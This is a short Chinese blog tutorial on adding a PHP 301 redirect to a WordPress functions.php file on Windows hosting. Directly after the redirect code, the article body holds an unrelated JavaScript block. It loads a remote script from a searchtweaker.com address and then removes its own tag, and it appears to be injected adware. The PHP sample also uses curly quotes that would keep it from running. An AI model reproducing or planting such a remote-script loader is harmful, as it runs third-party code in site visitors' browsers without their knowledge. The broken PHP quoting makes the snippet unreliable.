欢迎光临
我们一直在努力

wordpress网站在windows空间实现301重定向的方法

Windows空间怎样实现301重定向
我这里讲得Windows实现301跳转是直接修改wordpress函数就可以实现301重定向,打开根目录下得增function.php,在<?php后面添加如下代码:

if (strtolower($_SERVER[‘SERVER_NAME’])!=’www.xuewangzhan.net’)
{
$URIRedirect=$_SERVER[‘REQUEST_URI’];
if(strtolower($URIRedirect)==”/index.php”)
{
$URIRedirect=”/”;
}
header(‘HTTP/1.1 301 Moved Permanently’);
header(‘Location:https://www.xuewangzhan.net‘.$URIRedirect);
exit();
}

// <![CDATA[
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>

赞(0)